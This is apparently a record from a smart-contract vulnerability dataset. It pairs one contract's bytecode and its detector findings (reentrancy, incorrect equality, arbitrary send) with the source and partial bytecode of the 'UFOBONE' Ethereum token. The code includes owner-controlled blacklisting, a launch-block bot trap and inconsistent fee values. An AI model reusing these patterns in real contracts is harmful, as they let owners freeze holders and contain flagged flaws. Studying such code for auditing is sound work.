60e01b8152600401602060405180830381865afa158015610a6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a909190611b96565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610add573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b019190611b96565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b729190611b96565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c085760405162461bcd60e51b81526004016104c890611b02565b600855565b6000546001600160a01b03163314610c375760405162461bcd60e51b81526004016104c890611b02565b6001600160a01b038116610c9c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c8565b6104e781611444565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ced57610ced611b37565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6a9190611b96565b81600181518110610d7d57610d7d611b37565b6001600160a01b039283166020918202929092010152600b54610da39130911684610e1f565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ddc908590600090869030904290600401611bb3565b600060405180830381600087803b158015610df657600080fd5b505af1158015610e0a573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c8565b6001600160a01b038216610ee25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fa75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c8565b6001600160a01b0382166110095760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c8565b6000811161106b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c8565b6001600160a01b03831660009081526005602052604090205460ff16156111135760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c8565b6001600160a01b03831660009081526004602052604081205460ff1615801561115557506001600160a01b03831660009081526004602052604090205460ff16155b801561116b5750600c54600160a81b900460ff16155b801561119b5750600c546001600160a01b038581169116148061119b5750600c546001600160a01b038481169116145b1561137457600c54600160b81b900460ff166111f95760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c8565b50600c546001906001600160a01b0385811691161480156112285750600b546001600160a01b03848116911614155b8015611235575042600e54115b1561127e57600061124584610688565b9050611267606461126169021e19e0c9bab24000006002611494565b90611513565b6112718483611555565b111561127c57600080fd5b505b600d544214156112ac576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112b730610688565b600c54909150600160b01b900460ff161580156112e25750600c546001600160a01b03868116911614155b1561137257801561137257600c546113169060649061126190600f90611310906001600160a01b0316610688565b90611494565b81111561134357600c546113409060649061126190600f90611310906001600160a01b0316610688565b90505b600061135082600f611513565b905061135c8183611c24565b9150611367816115b4565b61137082610ca5565b505b505b611380848484846115e4565b50505050565b600081848411156113aa5760405162461bcd60e51b81526004016104c891906118d1565b5060006113b78486611c24565b95945050505050565b60006006548211156114275760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c8565b60006114316116e7565b905061143d8382611513565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114a3575060006104fb565b60006114af8385611c3b565b9050826114bc8583611c5a565b1461143d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c8565b600061143d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170a565b6000806115628385611b7e565b90508381101561143d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c8565b600c805460ff60b01b1916600160b01b1790556115d43061dead83610f43565b50600c805460ff60b01b19169055565b80806115f2576115f2611738565b60008060008061160187611754565b6001600160a01b038d166000908152600160205260409020549397509195509350915061162e908561179b565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461165d9084611555565b6001600160a01b03891660009081526001602052604090205561167f816117dd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116c491815260200190565b60405180910390a350505050806116e0576116e0600954600855565b5050505050565b60008060006116f4611827565b90925090506117038282611513565b9250505090565b6000818361172b5760405162461bcd60e51b81526004016104c891906118d1565b5060006113b78486611c5a565b60006008541161174757600080fd5b6008805460095560009055565b6000806000806000806117698760085461186b565b9150915060006117776116e7565b90506000806117878a8585611898565b909b909a5094985092965092945050505050565b600061143d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611386565b60006117e76116e7565b905060006117f58383611494565b306000908152600160205260409020549091506118129082611555565b30600090815260016020526040902055505050565b600654600090819069021e19e0c9bab24000006118448282611513565b8210156118625750506006549269021e19e0c9bab240000092509050565b90939092509050565b6000808061187e60646112618787611494565b9050600061188c868361179b565b96919550909350505050565b600080806118a68685611494565b905060006118b48686611494565b905060006118c2838361179b565b92989297509195505050505050565b600060208083528351808285015260005b818110156118fe578581018301518582016040015282016118e2565b81811115611910576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e757600080fd5b803561194681611926565b919050565b6000806040838503121561195e57600080fd5b823561196981611926565b946020939093013593505050565b60008060006060848603121561198c57600080fd5b833561199781611926565b925060208401356119a781611926565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119e157600080fd5b823567ffffffffffffffff808211156119f957600080fd5b818501915085601f830112611a0d57600080fd5b813581811115611a1f57611a1f6119b8565b8060051b604051601f19603f83011681018181108582111715611a4457611a446119b8565b604052918252848201925083810185019188831115611a6257600080fd5b938501935b82851015611a8757611a788561193b565b84529385019392850192611a67565b98975050505050505050565b600060208284031215611aa557600080fd5b813561143d81611926565b60008060408385031215611ac357600080fd5b8235611ace81611926565b91506020830135611ade81611926565b809150509250929050565b600060208284031215611afb57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b7757611b77611b4d565b5060010190565b60008219821115611b9157611b91611b4d565b500190565b600060208284031215611ba857600080fd5b815161143d81611926565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c035784516001600160a01b031683529383019391830191600101611bde565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c3657611c36611b4d565b500390565b6000816000190483118215151615611c5557611c55611b4d565b500290565b600082611c7757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a894c2a0ffb17c3ee38dc82c1bd04cee7dc894f0e01f8ec4eb438f2308ca3ab164736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,097 |
0x2672b6c7fbab43b5ed4e2ea8283a26908b49e664
|
/**
*Submitted for verification at Etherscan.io on 2021-07-07
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract UFOBONE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "UFOBONE";
string private constant _symbol = "UFOBONE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10005460000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f01565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a24565b61045e565b6040516101789190612ee6565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a3565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d5565b61048c565b6040516101e09190612ee6565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612947565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190613118565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa1565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612947565b610782565b6040516102b191906130a3565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612e18565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612f01565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a24565b61098c565b60405161035b9190612ee6565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a60565b6109aa565b005b34801561039957600080fd5b506103a2610afa565b005b3480156103b057600080fd5b506103b9610b74565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af3565b6110d3565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612999565b61121b565b60405161041891906130a3565b60405180910390f35b60606040518060400160405280600781526020017f55464f424f4e4500000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000678ada88dbda614000905090565b6000610499848484611475565b61055a846104a56112a2565b610555856040518060600160405280602881526020016137dc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612fe3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106666112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612fe3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107516112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c98565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db9565b9050919050565b6107db6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612fe3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f55464f424f4e4500000000000000000000000000000000000000000000000000815250905090565b60006109a06109996112a2565b8484611475565b6001905092915050565b6109b26112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612fe3565b60405180910390fd5b60005b8151811015610af6576001600a6000848481518110610a8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aee906133b9565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3b6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b6000610b6630610782565b9050610b7181611e27565b50565b610b7c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612fe3565b60405180910390fd5b600f60149054906101000a900460ff1615610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090613063565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ada88dbda6140006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d669190612970565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc857600080fd5b505afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190612970565b6040518363ffffffff1660e01b8152600401610e1d929190612e33565b602060405180830381600087803b158015610e3757600080fd5b505af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f9190612970565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610782565b600080610f03610926565b426040518863ffffffff1660e01b8152600401610f2596959493929190612e85565b6060604051808303818588803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f779190612b1c565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b0813f3978f894098440000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107d929190612e5c565b602060405180830381600087803b15801561109757600080fd5b505af11580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190612aca565b5050565b6110db6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90612fe3565b60405180910390fd5b600081116111ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a290612fa3565b60405180910390fd5b6111d960646111cb83678ada88dbda61400061212190919063ffffffff16565b61219c90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121091906130a3565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612f63565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146891906130a3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f23565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90613003565b60405180910390fd5b6115a0610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610926565b73fffffffffffffffffffffffffffff